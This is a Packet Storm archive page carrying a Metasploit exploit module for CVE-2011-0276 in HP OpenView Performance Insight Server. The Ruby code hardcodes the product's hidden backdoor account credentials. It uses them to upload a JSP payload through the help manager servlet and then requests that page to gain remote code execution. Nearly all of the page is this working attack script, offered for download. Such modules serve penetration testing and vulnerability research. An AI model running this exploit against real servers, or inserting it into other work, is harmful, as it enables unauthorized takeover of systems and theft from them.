what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HP OpenView Performance Insight Server Backdoor Account Code Execution

HP OpenView Performance Insight Server Backdoor Account Code Execution
Posted Mar 16, 2011
Authored by MC | Site metasploit.com

This Metasploit module exploits a hidden account in the com.trinagy.security.XMLUserManager Java class. When using this account, an attacker can abuse the com.trinagy.servlet.HelpManagerServlet class and write arbitrary files to the system allowing the execution of arbitrary code. NOTE: This Metasploit module has only been tested against HP OpenView Performance Insight Server 5.41.0.

tags | exploit, java, arbitrary
advisories | CVE-2011-0276, OSVDB-70754
SHA-256 | 050081861cf9f50a5ad646217b0778ac53503dda9e87c16307c0f9afee856b4c

HP OpenView Performance Insight Server Backdoor Account Code Execution

Change Mirror Download
##
# $Id: hp_openview_insight_backdoor.rb 11969 2011-03-15 21:56:11Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'HP OpenView Performance Insight Server Backdoor Account Code Execution',
'Description' => %q{
This module exploits a hidden account in the com.trinagy.security.XMLUserManager Java
class. When using this account, an attacker can abuse the
com.trinagy.servlet.HelpManagerServlet class and write arbitary files to the system
allowing the execution of arbitary code.

NOTE: This module has only been tested against HP OpenView Performance Insight Server 5.41.0
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11969 $',
'Platform' => 'win',
'Privileged' => true,
'References' =>
[
[ 'CVE', '2011-0276' ],
[ 'OSVDB', '70754' ],
],
'Targets' =>
[
[ 'Universal Windows Target',
{
'Arch' => ARCH_JAVA,
'Payload' =>
{
'DisableNops' => true,
},
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 31 2011'))

register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [ false, 'The username to authenticate as', 'hch908v' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username', 'z6t0j$+i' ])
], self.class )

end

def exploit

creds = "#{datastore['USERNAME']}" + ":" + "#{datastore['PASSWORD']}"

dir = rand_text_alpha_upper(rand(8) + 1)
page = rand_text_alpha_upper(8) + ".jsp"
uid = rand(20).to_s

file = "-----------------------------#{uid}\r\n"
file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
file << "Content-Type: application/x-java-archive\r\n\r\n"
file << payload.encoded + "\r\n"
file << "-----------------------------#{uid}\r\n"
# if (p.getName().equals("location")); ...
file << "Content-Disposition: form-data; name=\"location\"\r\n"
file << "Content-Type: text/plain\r\n\r\n"
file << dir + "\r\n"
file << "-----------------------------#{uid}\r\n\r\n"

print_status("Sending our POST request...")

res = send_request_cgi(
{
'uri' => "/reports/helpmanager",
'version' => '1.1',
'method' => 'POST',
'ctype' => 'multipart/form-data; boundary=---------------------------' + uid,
'data' => file,
'headers' =>
{
=begin
this.internal = new User("hch908v");
this.internal.setName("hidden user");
this.internal.setEncryptedPassword(TrendCrypt.crypt("hch908v", "z6t0j$+i"));
this.internal.addRole("user");
this.internal.addRole("admin");
=end
'Authorization' => "Basic #{Rex::Text.encode_base64(creds)}",

}
}, 5)

if ( res and res.code == 200 )
print_status("Login/Upload successful. Triggering payload at '/help/#{dir}/#{page}'...")
send_request_raw({
'uri' => "/help/#{dir}/#{page}",
'method' => 'GET',
'version' => '1.0',
}, 5)

handler
else
print_error("Login/Upload refused!")
return
end
end
end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    0 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close